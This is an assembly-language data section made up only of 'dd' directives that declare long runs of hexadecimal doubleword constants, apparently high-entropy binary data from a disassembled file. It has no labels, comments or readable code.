dd 38138601h, 0E2EB29BCh, 0F031840Ch, 9D06ADAFh, 7716D7AFh
dd 0A1DFA62Ah, 2A5ED177h, 542833C0h, 66021724h, 0F7D7AE5Ah
dd 6AC58081h, 425DB17Ah, 0B558C003h, 38DAB83Dh, 0C7218B5Ch
dd 4871D858h, 0B896B2C9h, 16EC646Ch, 2475C009h, 95F8FF57h
dd 5EC5FE19h, 4DE92BC1h, 810FE909h, 0EBFBB820h, 0D8B5071Fh
dd 14FD81FFh, 0CAD75D02h, 4FFF40C5h, 0FA244E2Fh, 34084510h
dd 0B0AF0E5Ah, 0FC9F58A5h, 0C1E9D9A7h, 0F1F7C248h, 0C57C161Ah
dd 84E6AF11h, 46F78009h, 54D967Dh, 0CFEA06BAh, 12F4E820h
dd 0EE959EC8h, 40289404h, 0E3790845h, 460905E9h, 86F15BE0h
dd 9005EBCCh, 60514153h, 1B123607h, 0B1AA6D4Fh, 810805F1h
dd 24A49D2Dh, 8632698h, 89D8C133h, 0C02FE4AAh, 5C3C73AEh
dd 0D0CF2922h, 0C153D111h, 14BFCF84h, 7CF50368h, 436297Fh
dd 0F0F7700Ch, 4385BBCCh, 1B4A771Dh, 0C10FB158h, 1F5147B3h
dd 0E116F1C3h, 5E3040D0h, 3A0B06B9h, 2AC129B4h, 119AEA07h
dd 779B45ECh, 6185D082h, 9501CE75h, 9235967Fh, 171802DEh
dd 0D5683ACBh, 0BED698D7h, 0E67247Eh, 95C60000h, 5682B5FDh
dd 902669Eh, 6070271Fh, 0B75D9002h, 0C2C13792h, 0DDCC7B42h
dd 93D16984h, 360D3D50h, 0E8D9290Bh, 495B0801h, 0D215E700h
dd 992D3204h, 2982C667h, 95DFD0F3h, 6864907Fh, 303A5AA1h
dd 9146FBAAh, 9A594B28h, 6C5EB60Ch, 12030C3Eh, 826FC74h
dd 79A5BFA2h, 0BC2A3DE9h, 0CCB80FBh, 38402C20h, 0C83A0888h
dd 0DA0B3F26h, 59C6DCAFh, 0B084285Bh, 9EA5A7E9h, 5C5254EAh
dd 6B8304B6h, 92AF5870h, 0A4C12EF6h, 4B767091h, 16767713h
dd 2D026DA8h, 42A572C8h, 12642DFh, 2AB1E907h, 0E8F17581h
dd 701C9F53h, 0F7806604h, 0BEA590D9h, 80324E2h, 5A043554h
dd 8BAA0B88h, 64BE5E76h, 0D2B3A692h, 1A30F6BAh, 5D5E0685h
dd 795AE55Eh, 8E6089Fh, 0FCE78C2Dh, 546B17CCh, 0B00ABE7Ch
dd 0C3408C6h, 5ABD92AFh, 13CFC7D6h, 4909E7A1h, 0A201C37Dh
dd 0C780D7F6h, 5CF82B51h, 0CAE93F05h, 0CDCC4039h, 738A53AEh
dd 2E56E9F7h, 3ED54941h, 0B9384D1Bh, 6E5C512Fh, 0E2816640h
dd 260A4F64h, 0B8F87A76h, 6850D205h, 5AC2986h, 0F2BD0E9Fh
dd 45ED3818h, 0CD0A1361h, 0C5002D4Ah, 3B887C1Fh, 0B4C280DFh
dd 137417Fh, 1B3810EAh, 0E9F0125Dh, 59B58DE3h, 0B1A69Ah
dd 0D407E09h, 992777B7h, 51C85F71h, 8E260F47h, 7DAFFD6Dh
dd 0B46F93B8h, 7FDD4FCBh, 5DEFE3B0h, 75B57B0h, 0EBE471BCh
dd 76EE15A1h, 0F0782746h, 4AE30641h, 5758C203h, 1387F355h
dd 3EC19D51h, 58893EBDh, 5D250C7Eh, 0E106383Ah, 4C495F9Ah
dd 0F2051A27h, 43D2572Fh, 5F8C0F09h, 8B76DC47h, 447E4EE6h
dd 0C014C647h, 16E7EA80h, 43375CBEh, 8961EE06h, 5D010C01h
dd 0E92EBB7Fh, 946F41C2h, 6A178002h, 3B50E66Eh, 0F60AFDEAh
dd 88893D9Eh, 0A410E90Bh, 59C4C1AFh, 4E9F43C1h, 250F3EA8h
dd 0A7D30922h, 2C1314ADh, 0C77BD55h, 9B644E8Ah, 2AF26C13h
dd 56D74F04h, 92DEE904h, 0BC814E35h, 3BFD8907h, 21D603F8h
dd 3C144897h, 86568910h, 97A75EDEh, 4E5CA84Ah, 52A8DE27h
dd 0AFB97155h, 657FBA09h, 298388AAh, 65125F17h, 4EA09h
dd 9853D138h, 1478952Fh, 1613BF3Eh, 0AC003C20h, 67CE228Dh
dd 0B2EE54E9h, 4680052h, 5A5691F6h, 2FFDD331h, 0EF017294h
dd 998AEF4Dh, 0C5ACD02Eh, 15281F88h, 46B5CF7Bh, 92492070h
dd 46295933h, 7FE8BC6Eh, 7D5869F2h, 0BF954BDh, 35A2384Bh
dd 37767493h, 5D64E066h, 8D803F2Bh, 0E925D057h, 0D90D2F50h
dd 0A4C99EC0h, 0ED339E56h, 2C4AF9FCh, 2FB156Ah, 6F3D5D42h
dd 5EC6EA82h, 893AD375h, 0E2F16996h, 0E419AF8Bh, 7DAB0BCDh
dd 0A4F472DDh, 0E1AC0720h, 23056590h, 314CB075h, 49EB9716h
dd 46025DB8h, 0FCCC6BE6h, 3659A200h, 8B0F4643h, 1125F75Ch
dd 0F12F5F31h, 56CD2BA5h, 16FEB97Fh, 0AE6740F3h, 0BDE82D94h
dd 23A93505h, 59C706BCh, 0EF03BF5Ah, 348D12E4h, 0BC4B401h
dd 925D0809h, 0A6545F03h, 0B4FBC351h, 0B404E209h, 5B7BFD3h
dd 0F9405756h, 0BE568012h, 2536205Ch, 46C9DD33h, 68CFD05Ch
dd 0D9106026h, 2D0AC569h, 0A880387Fh, 0E908E140h, 0FC06DF27h
dd 74195152h, 0F164A1Eh, 98AC1B85h, 0E538FB4Eh, 5B4701BEh
dd 0ADE91E07h, 1C5B3255h, 0DD2F64FEh, 89978B1Eh, 0D77DA6Fh
dd 1D175831h, 0D1EC2B0Ch, 167EF84Eh, 1B347422h, 6260B458h
dd 3B14896Dh, 0BD0217F6h, 23FE5683h, 765DB340h, 5F6FFC2Ch
dd 252E2904h, 9BDD5BFh, 6CA3F917h, 0B101F6E9h, 1206E781h
dd 0FA407133h, 48ADDB31h, 0D43A8446h, 2961320Bh, 0C1AB85h
dd 0BA525F08h, 231E33EBh, 0F0DBE9EDh, 0F830D0DBh, 21D52F82h
dd 6861AB71h, 307A756Ch, 2C6ADA41h, 0CA315604h, 12EB0FE9h
dd 0D33DBF5Bh, 0B9C8EC6Eh, 901D83Ah, 0AA505443h, 0FA04FD60h
dd 0AB9650F8h, 0EB80C9D5h, 44391DCFh, 864FE9B0h, 9D58E80Ch
dd 26F3B751h, 0CA605913h, 97FDF5E9h, 733B5F48h, 0B29B28Bh
dd 0BE911055h, 0BC679D6Eh, 0F129163Fh, 0FC2B7B4h, 198D4A71h
dd 3160B98Bh, 230B9FBFh, 0F1536F97h, 2D5B0014h, 63FA393Eh
dd 5C82914h, 32E90907h, 0F30FA797h, 7A20CC72h, 0F580ACCh
dd 174C500Dh, 31E5C13Eh, 0AAF855F9h, 0C2FAAE94h, 89FF4377h
dd 27C57D42h, 0E8D06B12h, 3B227BF6h, 0CE000B4Fh, 2D1E3EBBh
dd 0D19772E9h, 1579208h, 0DE2F4963h, 65E37030h, 4CEB4282h
dd 0A0E6E67Eh, 0B1EF1CEh, 84E94F92h, 0FE774142h, 6E547925h
dd 5AA5DC61h, 2D4E2C7Bh, 6B6E091Ch, 57D801C4h, 4EBE60BAh
dd 60F3376h, 1CE150BFh, 0B8A929D6h, 0EE050B02h, 0F8DD2D43h
dd 0F8012F9Ch, 2B4B1FF8h, 0FB7AD41h, 0BAECC191h, 8924B715h
dd 0FFACAB1Ch, 133EA8D2h, 95A801F4h, 9846AAA5h, 28F5E44Dh
dd 4AFC9C51h, 0C0ECFD58h, 3B31CAB8h, 2D78B75Fh, 68E98D61h
dd 5D692E7Fh, 9457BD25h, 795C616Dh, 7C1DEC68h, 75E9C41Ch
dd 0FE2F07B1h, 4C49EC1Eh, 3F1064E3h, 0D7B1F7BFh, 39FC2A74h
dd 0C7C500AEh, 31D648FBh, 0B2CFFCEAh, 7FB63B33h, 0EA966693h
dd 6425E2Ah, 0B07FE912h, 0F20BBA2Dh, 6034CE41h, 5F7E6869h
dd 4317CC1Bh, 85EB1F48h, 4EA3417h, 0CA73BD3h, 1350185Ch
dd 0A1430B61h, 0C9D5E640h, 3D79D90h, 2D94CD9Bh, 0F5B1340Ch
dd 3D1170B6h, 770A7F90h, 0F314350Fh, 961A3B01h, 41DB290Dh
dd 1CA0081Ch, 2D5D7E14h, 16551CE8h, 35199DE8h, 54878B33h
dd 97C3EE58h, 0F7ED46B0h, 1F097E06h, 8128D501h, 66415A08h
dd 0B34A3219h, 0CE68004Bh, 74882515h, 7A0E8398h, 64053231h
dd 64815EF1h, 212B2EB7h, 0BEED891Ah, 97FB130Eh, 9C7377B7h
dd 77E2A5B9h, 852C4F5Dh
dd 0BB523FE9h, 40F7B0D8h, 0E639805Fh, 0C2CE97F2h, 84BEC00Ah
dd 0BD6F689h, 8B43E046h, 403413D3h, 58B60441h, 257C466Eh
dd 384A009Fh, 43762E44h, 225830Fh, 0C8FE31FAh, 5006552Ch
dd 4A55D28Bh, 7BF16B2Ah, 0D531AF2Dh, 7ECD51B8h, 595A0BB2h
dd 0ACAD49D4h, 56B25209h, 0EAB9827Fh, 2DB08CFh, 78320882h
dd 22D5E462h, 0C5D9017Ch, 7AE98497h, 6708F438h, 8703E49Eh
dd 4CD5F7EFh, 0D3078608h, 6F3FD652h, 4348DA81h, 2E5B6175h
dd 0A22518E6h, 6B5FF242h, 285CC8DEh, 36759FFFh, 0E1B05B2Ah
dd 60A27F5Fh, 5FE6558Fh, 9CB00C28h, 0B545B431h, 520003C1h
dd 83076851h, 5901E528h, 2BC98071h, 0E0CFF1CCh, 3E08F4CAh
dd 0C4255AD4h, 0E2588FFDh, 0E0D02ACDh, 9E78992Ch, 4A6A89F1h
dd 7E4747D1h, 57550CD8h, 0ECCB20Ah, 4F2E9242h, 84D2ADA9h
dd 0B302B766h, 0D1DD57DAh, 0A8494559h, 5B5D2E43h, 1A59F7E2h
dd 2A00028Fh, 632D3E73h, 330A7200h, 1B364735h, 37E91262h
dd 0DBB0460Ch, 3CA0064Bh, 0E9809033h, 9791B215h, 0C20095DAh
dd 0F5DCF7Ah, 0BFE35780h, 145EA9BEh, 0BFF16CD3h, 0B9200885h
dd 588CB9h, 0BB5323CEh, 10F5AA11h, 0B03F5297h, 930C4AB2h
dd 0D1B9DDEBh, 15D36A93h, 0F7F316DFh, 0EADE00D6h, 0F4CC30Ah
dd 0E8B78C73h, 806C631Ch, 0E74F8057h, 5EA06FB0h, 79F3A31Dh
dd 2F093340h, 0C2E25FF8h, 35656055h, 6B441655h, 5880FA76h
dd 2F563FBBh, 84570FE3h, 0F1BBEF4Ch, 5B2622F8h, 0E9C277E9h
dd 0B0E8AA9Bh, 845F1586h, 8BF0EBF8h, 18BD53DFh, 80F98F1Fh
dd 0C603F580h, 0E828A42Ch, 0C9E5A704h, 975C66B0h, 0DCFC04C8h
dd 0B940EFD2h, 0BF2D6348h, 166517F4h, 25A30906h, 0C8DD07EAh
dd 9EB81F9h, 676F6408h, 8A067FEh, 0E961FA91h, 0CC7BE697h
dd 0E0F45226h, 4C5ECC4Bh, 7D2A5ECBh, 8A07A24Dh, 0E98152DDh
dd 0ED292278h, 8C53A505h, 5554C04Eh, 0DF126AB4h, 83A028E9h
dd 52045B01h, 1EC5FA23h, 3C90EC1Eh, 0E418954Dh, 8F580E27h
dd 74DA045Eh, 0AED3645Eh, 2768B4C8h, 72F9494Dh, 524122B8h
dd 5EB02834h, 306065E9h, 7C68530Ch, 3EFA250Fh, 79C065E0h
dd 0C131D509h, 85F507EBh, 0B05739BDh, 0F30768B0h, 4E66B0F8h
dd 782FF201h, 162AB820h, 54A1705h, 74C2299Bh, 9F98BE47h
dd 3FB3497Eh, 3F69840Ch, 0C72D8022h, 9E4CC0DEh, 0FEB9D328h
dd 0D00F8832h, 0B493EAD2h, 315E079Bh, 0FA70D4CFh, 79AA6916h
dd 401ADA8Dh, 251E2742h, 0EB75471Ch, 6C0B622Ah, 819E09FCh
dd 69441529h, 888BFE25h, 581C372Bh, 8968C30Eh, 0B57A987Dh
dd 972AF49Bh, 501CEDC6h, 0BB31CAE9h, 6130DEF5h, 0C1450C4Eh
dd 2D1405EDh, 53436D13h, 65CC6D04h, 3D4CE902h, 5A17C079h
dd 637C6100h, 4101459Ch, 0AE0804CDh, 0E98278F8h, 0C6F5675Eh
dd 80523037h, 3B8FC281h, 0CA8342FFh, 0B09087h, 18E959A6h
dd 47B3A59Fh, 40BCAA01h, 0C930B3Ah, 5156016Bh, 2EF986E9h
dd 90A90A56h, 0F495BF9Fh, 0FB4E9063h, 0C403F7D5h, 76EE0FBFh
dd 7F121458h, 8C1A832Bh, 0CE554189h, 0D24B300Ch, 5DBF3448h
dd 6E0088BEh, 56420B01h, 5E8476BEh, 0E5B4B06Dh, 0DF08E139h
dd 0D4639FF8h, 72C83861h, 0E698D0F7h, 0D1AB454Bh, 8AD3018Bh
dd 0CAF11BC8h, 58E76440h, 584AF6FAh, 50CBE67Eh, 40419902h
dd 0E2328E0Fh, 0EBFEFA7Bh, 633E8053h, 77ACA061h, 1AA805C5h
dd 0E2244BE9h, 374C33h, 382D4099h, 93B41BDh, 0CD312AA0h
dd 0EC60AF10h, 0D41430DAh, 0DDF75009h, 85206E98h, 0D9E93772h
dd 91356780h, 6070A617h, 2E12F7B0h, 0B9D00907h, 50B826ABh
dd 5E77A76Fh, 2D898CE6h, 0F993D342h, 0D88813D3h, 1CE9D490h
dd 759EAA9Dh, 1250CCCh, 0DEC6F5CBh, 0F1AA4025h, 515D8960h
dd 89894CF9h, 92C1FDC1h, 107CF629h, 314C79A8h, 8F8117E6h
dd 0CBA5B677h, 0E73F4FA1h, 41FE4B57h, 3D449E6Ch, 0DFB16B79h
dd 0A6C5FA28h, 0E89513F9h, 83161038h, 7B8D2D02h, 0C85D0A8Ah
dd 0A87736DCh, 947F05ADh, 785E8741h, 0AB649F30h, 0FA9CAB9Ch
dd 3EE13C1h, 80DAFE53h, 0AC8EE90Bh, 303B1675h, 0BA169B07h
dd 883D4913h, 3E2272Dh, 0BFC1801Bh, 7F5FF107h, 0C9FE5A07h
dd 4F1BE1B3h, 0B0EAB80Ah, 452888B7h, 8FB06BF9h, 347597C3h
dd 99E91A70h, 0F907704Fh, 2FCF82F0h, 0A40235Dh, 5DB2D18Fh
dd 0F7ED072Bh, 0DCA5CED1h, 6D4DF47Bh, 0E4EC163Eh, 0F5943118h
dd 18EE36FEh, 85911424h, 4A0ED19Ah, 0ED3641AAh, 7C77D13Ah
dd 850BD930h, 0CA6CA99Eh, 1F046481h, 684AD3Bh, 571B63A7h
dd 0B6A080Ch, 90266D9h, 0FF24E81Ch, 80DD7CAh, 0CA14170Ch
dd 0E6E90A20h, 9BB9B80h, 0F2D55382h, 695CEADFh, 9C5679F1h
dd 61049804h, 8ACA57FAh, 0AE90BFEh, 2023EE23h, 0FB20048Bh
dd 0DD11A22Dh, 0CD66378h, 0E96FC0EBh, 2A9FAC53h, 0DF02974Ah
dd 0E15F2A59h, 0A26B5A6Dh, 0DCBF808Dh, 0BFF7B7DAh, 0DDE05643h
dd 7590EFE9h, 271ADBB5h, 0B417C4DEh, 0E235D640h, 985C651Ch
dd 58209261h, 0ED2D2229h, 0CE68DD5h, 26F2A86Eh, 0D75A4559h
dd 0D4C0E78Ch, 10B91A16h, 4C829417h, 2EF4F8ADh, 1383D6Bh
dd 85FE0EEh, 10AF3A29h, 0E91D08C1h, 0BB34F056h, 0A0D4211h
dd 4EBD138h, 786A903Eh, 0F15AFD6Fh, 1F1E28ABh, 20D57641h
dd 0C05FDC24h, 0FA105D7Ch, 0F7504D62h, 0FC97948Ah, 0C7B604Ah
dd 0DAFE5F51h, 0B5781C98h, 0F6AC994Bh, 6D214305h, 0DF338079h
dd 376ED513h, 0D038A318h, 0A60C0403h, 84FC9051h, 0FB5F9577h
dd 87A4D2A6h, 5D27080Ah, 0FFA5883h, 0F94B0E99h, 3182292h
dd 5D1736CEh, 0E1F6B242h, 0A0BB5032h, 4E8CC901h, 71F02998h
dd 2EF16F8Dh, 0B67443F5h, 4B54208Fh, 13FB7497h, 0C76AAC06h
dd 0E820F588h, 95A39BE9h, 46E4B6C4h, 0B1260C1h, 0B02E5EA4h
dd 782468EFh, 0E7897566h, 0F7D0AB62h, 0BF455C2Fh, 5038F257h
dd 2002E61h, 7D353493h, 2F764E20h, 4B8583E9h, 8E52BD49h
dd 82642943h, 644DCDB2h, 1217CBDh, 0EAC1717Dh, 70E2D102h
dd 9128E1Bh, 2AEADBEh, 6BCEE9D0h, 929CABDCh, 0FCBEACEh
dd 0DD24DCD0h, 53513400h, 0E7B5BCB7h, 857A3A61h, 1317CF4Dh
dd 3D8471E9h, 50E95ACDh, 0EB0F943Ah, 0E72716B6h, 0A8F6AF48h
dd 384FB717h, 1F32EA4h, 46294571h, 8903E6C1h, 0C04DE918h
dd 0FB0BED5h, 31513876h, 0D421ABB2h, 45DDD2F6h, 0C5D042EAh
dd 6CCF0889h, 18BBE90Fh, 2480EB7Bh, 0CC5180Dh, 49B552FBh
dd 0E1A8944Ah, 917F2DC1h, 64AE3E20h, 0A50C1753h, 0CCED2F44h
dd 0D304C7D0h, 8402E17Bh, 0C0C4029Ch, 0D8C04C42h, 31806046h
dd 985D73EFh, 95E4F838h, 0ED7E98FDh, 76818262h, 30460C9Bh
dd 26B9F7Ch, 68165716h, 9FF19948h, 88BE1E52h, 0EC4BB167h
dd 2367DE90h, 81440FB2h, 0C15E40E5h, 4C820F3Fh, 0B4FC3B53h
dd 68F630A1h, 0A15F8955h, 52D688AFh, 0E9E02C3Bh, 7D3AAF25h
dd 4A964AEEh, 8CB53C2h, 1DB60D88h, 0AEC97F7Bh, 0E13B89ECh
dd 0B7ABA82Eh, 5E2B37F2h, 31CF87C6h, 0FF4F547Fh, 2D495314h
dd 3CC27193h, 0E258A10h, 12570D68h, 17A98FBFh, 4BA466C9h
dd 0AE631EECh, 0DD97CBF1h, 0DE5BA4DAh, 0AAF716FFh, 27012638h
dd 8AF65FFEh, 0F0E8E962h, 0CA515F42h, 7425E7Dh, 0FE3DAA68h
dd 0FAF2520Dh, 5C81CDF6h, 0F512FE42h, 0EFD4F302h, 978F409h
dd 32572793h, 2F807E00h, 18B91FB0h, 6880209Ch, 292B3C62h
dd 73D0975Bh, 2C6C9AA1h
dd 61FA4BA6h, 21FDF494h, 94E92FB2h, 0C0EEBF80h, 3134019Ah
dd 58C2E5FBh, 0C6A6A050h, 62BA782Dh, 383A4611h, 0E4C673D7h
dd 154D0FAh, 0C9BD2DF0h, 90715E5Bh, 0D83A04DDh, 905BC65Ch
dd 0B42D67AEh, 0B6E9947Ch, 38985B6Fh, 0A82C5B50h, 0EBC0B481h
dd 0E442669Ch, 0D8F54E29h, 4D5D34F2h, 935E28CAh, 9741E016h
dd 0FEB0500h, 9E1F700Dh, 0D008A0CEh, 0F85F14F0h, 0ACF84FCFh
dd 4AF0F85h, 2C92E8h, 800AE5B8h, 0D79AB00Eh, 0DBBFE0CEh
dd 0FBE7CCA8h, 183D0707h, 12DFDFF7h, 6858B6C0h, 994C4BD6h
dd 89BC7C5Dh, 0C4B3754Dh, 81FABED1h, 2EB9E355h, 5317C6Fh
dd 685BDB40h, 0A3D39DF8h, 0D87B1A00h, 0FABE5611h, 0E8BF0B01h
dd 9551F531h, 5D008048h, 2750642Dh, 10509D56h, 5C120783h
dd 0C7332923h, 386CC957h, 0D2419988h, 4D45A2Fh, 6F0722F2h
dd 0D4D7BB12h, 0EC126C44h, 541D131Bh, 83EA1856h, 8BD95E1Ah
dd 3B8A34D9h, 5E5EF348h, 89A703BBh, 1D1C6664h, 0D5250AFBh
dd 0AAF5569Bh, 5FB6EAF4h, 68BFD036h, 39B47587h, 6317FE65h
dd 7EB9AF87h, 0C2097202h, 0E9BFB875h, 863B60F0h, 460AD5B9h
dd 0CD01AB16h, 43A89A73h, 0D30B22EBh, 0C54533Eh, 1D143402h
dd 7628F70Dh, 3E9A2508h, 0E985AD5Ch, 45E4A26Dh, 6E1B09C3h
dd 0F07729C4h, 410882FCh, 912E64D3h, 791D49A0h, 55899EE4h
dd 3628229Fh, 28422263h, 4F0AB800h, 9C2F588Ah, 0D695B85Eh
dd 0E93CCCFDh, 0BA5D134Eh, 0FB94B18Ah, 0B9FD4C25h, 9DF7D1FBh
dd 0C92C5E91h, 4B0FD77Fh, 0B1742E04h, 1C8BCC98h, 0F8BFFCB5h
dd 0D6030E2Dh, 0F404821h, 0BDA3B68Eh, 6F202A72h, 18AEC13Ah
dd 80289869h, 6252140Ch, 0B0EE293Eh, 5DF118D9h, 0E5F31C91h
dd 167E0F73h, 20DDD497h, 0D85D481Dh, 0B3312B12h, 0ACDA182Ah
dd 0E47EB65h, 13BED55h, 0E01312D7h, 9CC4412Dh, 2CBB07E7h
dd 8009592Dh, 75574DE1h, 7F0FE45Ah, 0A19DB151h, 0C1FE54C9h
dd 7D3B92D7h, 0D9313487h, 6F005977h, 0ED628FC9h, 451B8BDEh
dd 2338E129h, 1273D7C2h, 7DC8E509h, 79B2BE9Bh, 0C4A602F6h
dd 55AFFB26h, 3E58172Ah, 0ABA62814h, 9D82EA93h, 0A7034559h
dd 6812EEC6h, 55CD51D4h, 0A2772BAFh, 7527256Fh, 1857DD1Ah
dd 806D162Eh, 5F5AF901h, 0C3E6C0A8h, 4E078525h, 0BD55000Eh
dd 65964AC5h, 3528E950h, 9E0960F8h, 0EE084376h, 80E92523h
dd 459C35D0h, 543A6858h, 2FE96742h, 90FAC3EDh, 582478BCh
dd 0C9028B0Fh, 0EAED88Ch, 0B14184BDh, 1092F853h, 0F6024ACEh
dd 0CC680D6h, 0F187EDE0h, 5B799695h, 2F21C656h, 534FC8E6h
dd 5C8D6B44h, 0B8CB8CEBh, 0EA9026F4h, 584CC2F2h, 0AE8850C2h
dd 0ED596C40h, 0B84DA4D5h, 0B24840F9h, 0B52DFEC6h, 0BC82225h
dd 0DCC1E09Ah, 5D32054h, 0A1F81CD6h, 2B3CC10h, 0E78F0F4Eh
dd 0A5E7F624h, 29901A8h, 5650FB8Ah, 0BD8335F1h, 4A31321Dh
dd 0FD1BA04h, 0B32B54C3h, 7F69053Dh, 15BD0A1Ah, 0DB898E69h
dd 2937F6C8h, 0F769FD09h, 0AE2309D6h, 1183A41Ch, 0EC39DDEFh
dd 96CBD7F5h, 0FB00775Bh, 15071E1Bh, 561B3AEDh, 13B1D832h
dd 0F8544B2Ch, 0A62F7D50h, 0A5995B60h, 0BA099D5Bh, 56B62722h
dd 7952E74h, 21D961EBh, 0A42EBB37h, 2E1EDD8Dh, 0C30DF98Ah
dd 0B901EF8Bh, 5424125Bh, 5E422668h, 0B947C23Ah, 1737CE20h
dd 0E12AF75Ah, 0FB98E7D5h, 1093FF3h, 0DFC791E9h, 2C50629Eh
dd 0B9AAFD34h, 942CFB7Fh, 0FF5EA2E0h, 0FF08C832h, 83F68A0Fh
dd 0D6A938E3h, 48262357h, 16CF00F9h, 0EA81143Dh, 0F72431A1h
dd 3B366E6Ah, 0B534E5B7h, 80E4A40Dh, 1F7C7017h, 0F16F60C9h
dd 0A6F97F89h, 4324FBD3h, 465F38C1h, 9EF1DFC2h, 0E65F4Bh
dd 759C4220h, 913B766h, 3ABD03F4h, 0EA09E979h, 0DD4740EEh
dd 0BF2EC0E8h, 45387BACh, 55FED8B0h, 0E96F180Bh, 0C06BC262h
dd 817BB05Fh, 83FFC25Ah, 95665916h, 68D94FBFh, 73743AA9h
dd 62EEC942h, 0F1B8FF31h, 799516DFh, 3D8F895Eh, 212276B2h
dd 455EB8EBh, 0FD59DE82h, 8C225F37h, 75EA968Bh, 828A8E60h
dd 3893640h, 0EAC05ECAh, 0C3B4FE02h, 4701DE44h, 1BAD6855h
dd 18F073DCh, 0AD519D46h, 4F9942h, 3E685F54h, 5E950570h
dd 0E7F6D2BFh, 0C213D840h, 0BEE9165Fh, 0D82DFE2Ah, 9A784C20h
dd 325B79ADh, 4F145808h, 0BE0026E6h, 8140544Ah, 2D1BFBCAh
dd 78D67E5Dh, 5027324h, 0AA61E9h, 0B9649CBAh, 0A59DC9F1h
dd 4B06F00Bh, 0E199407Eh, 1B73484Ah, 4A870F2Dh, 8FD961D8h
dd 0E9001FE9h, 0DBBD2A9Bh, 2AE34DD7h, 363064A1h, 1C34E679h
dd 7E0DB83Ch, 10BE322Eh, 105F4870h, 0A14A1FB5h, 0C30B8972h
dd 7F0609EDh, 7F0E136Dh, 2CC01139h, 5AE7B640h, 7C973AB8h
dd 0F07D5237h, 0FB010962h, 2629BDE9h, 93BCC956h, 22FF4194h
dd 217D8911h, 27F968C8h, 1059D5C2h, 492B0ECBh, 8CCCD402h
dd 0BDC2EF4Fh, 17151F01h, 3E5C153h, 92393E20h, 0C795B5A3h
dd 5A02672Ch, 5F4EE26Dh, 1021A02Fh, 7F1A5972h, 35FA5705h
dd 878271BAh, 0B62D6A14h, 0E8FCB06Fh, 0D7B3A64Eh, 4F1B681Ch
dd 0D2CF6BBEh, 0E007F856h, 270E1168h, 0C7554C3Ah, 0C8E90579h
dd 72897FBh, 0D55684E8h, 0A009AA56h, 7F535502h, 2BD0E91Ah
dd 0F880FD9Ah, 0B0DD425h, 7BD589Fh, 46ED2935h, 42C54AB6h
dd 6C506DE9h, 3DF2544Bh, 2F74D980h, 0D1480149h, 0D40841A8h
dd 27C959B2h, 60DB02EEh, 0D70C606Bh, 297EB72Bh, 0CBBD65Ah
dd 80C51A40h, 0D16FD52Dh, 0CE8C060Dh, 5C97103Dh, 7460722Bh
dd 24CB8EDBh, 1BE3D52Dh, 25F0EAADh, 24186231h, 5957C84Ah
dd 0A0C56FC5h, 0ADA5FA4Dh, 0BD5B6F60h, 7845F420h, 0C9774A9h
dd 3D1D1217h, 4CDC316Ah, 0B5481327h, 32FCF381h, 2984E418h
dd 0BC85E92Ch, 385518A5h, 0FC2DDCDEh, 554BE21Bh, 0BA4290F4h
dd 94075628h, 7D07AA58h, 67174619h, 0F33431F1h, 0BEF53A06h
dd 4C4E14CFh, 432EF019h, 8D3D133Dh, 65EF2FE9h, 80B2EFB8h
dd 5B49E9C2h, 85D16D75h, 0A48D44E9h, 731845FBh, 260C3E10h
dd 76750132h, 0DA60FB05h, 8B16E3Bh, 0D8EA0705h, 0AB2FE99Eh
dd 0A3EA4829h, 5CB52713h, 0AF85CC04h, 8CFE2912h, 96FAEF35h
dd 0B1354B60h, 0ECA88CDh, 9C28059h, 5055817Dh, 3A303EB0h
dd 2C0142ABh, 90DF5993h, 0CF34CD4Eh, 0A047F6BFh, 0F301A179h
dd 0F9E47F5Eh, 0F920129Ah, 73CDBF2Ch, 8EF0296Bh, 0EA0CEA9Eh
dd 4F05804Ah, 0D600CC2Dh, 9A0315CDh, 37454D2Eh, 0DC80ED3Ah
dd 0EE89C120h, 0ABBA59E9h, 97CF293Bh, 0A3A7CA1Eh, 358E2E7Bh
dd 7D4982D5h, 6557317Eh, 2CE63C12h, 4AD303FFh, 9AF1E756h
dd 17DED4A5h, 499C5A17h, 6E221718h, 0C730061Ch, 0BA0F36EAh
dd 0F373019Ah, 0E205E2B8h, 0BBB819AEh, 48904401h, 0C82771Dh
dd 0B4A82C7Ch, 4947D649h, 43632BD8h, 3DA5F1C5h, 0D270313Ah
dd 0ABBD2F55h, 0CB2FDF48h, 49A8C3D3h, 0A45C80Dh, 0F02EC30Bh
dd 204A474Bh, 0B47CEAAh, 45365DE9h, 0CE470BE8h, 79F44F1h
dd 1787B03h, 82FC17EEh, 0AB3024A7h, 9B8C7AECh, 14983D46h
dd 519FB77Bh, 979B53Dh, 9FC2F14Ah, 82819099h, 7C1AD368h
dd 0E8E9D533h, 5E0A5004h, 0ABB7E568h, 39E5F47Ch, 0B7A7A84Bh
dd 0D979F263h, 0B42B62DCh, 853DC2DEh, 31468B54h, 53095DD0h
dd 0BE70FCF6h, 327F16F7h, 0F28FC1A0h, 67AA04C3h, 8F89C9FFh
dd 4B3F5251h, 0D9418CF9h, 0BDC9A6Ah, 0B02D2CE9h, 0C6796BBh
dd 923531BAh, 2727E90Bh
dd 1BE7C840h, 0DE5D820Bh, 0E3E3307Fh, 0E0622D7Dh, 0DFEF8B18h
dd 178F80AEh, 13957BEh, 34CFB947h, 3FF1601Bh, 2346F1D2h
dd 4B32A8FAh, 3C99AF5Ah, 1706AE2Ah, 4F6F2BE9h, 5AEAC35Bh
dd 66E830A8h, 710F76BFh, 0E902D883h, 0D453C027h, 0D444726Eh
dd 0C451F2Ch, 0F00BFB40h, 9243507Fh, 0EB02B201h, 0F91633C0h
dd 2F77CBD8h, 0B540D738h, 0B73ED664h, 6BEF0056h, 0E91E2450h
dd 970770DCh, 66C598F6h, 1DAD1DAAh, 0C2688755h, 0C05DA779h
dd 3EE9EB31h, 0CA3C3A9Ch, 68E342EFh, 99DC582Bh, 0E922306Bh
dd 2C655AFDh, 567F51A6h, 2B822126h, 0E37BEF8Ah, 2ACAA243h
dd 97D61917h, 1D7E18F5h, 7324B5EAh, 37588007h, 6C4F6FCBh
dd 3F9B210h, 324D0FDEh, 0E18FB7D1h, 9A17DD0h, 7CE99841h
dd 0CFBFBA50h, 0ED8D2DD2h, 7F4997FCh, 8E2E3E5Bh, 7C696800h
dd 0B058541Bh, 0E60D005Ch, 0F202B53h, 34B2E486h, 39213509h
dd 6D3B8227h, 9BB900CCh, 1859FD68h, 80502D3Dh, 0AD5FB8EBh
dd 0BFE8D295h, 5F55CE4Bh, 5157F6CAh, 16F1707Fh, 0BD98EEBDh
dd 210B9FF4h, 0A516D1B0h, 0C3E44ED5h, 1386E95Bh, 91BB2A01h
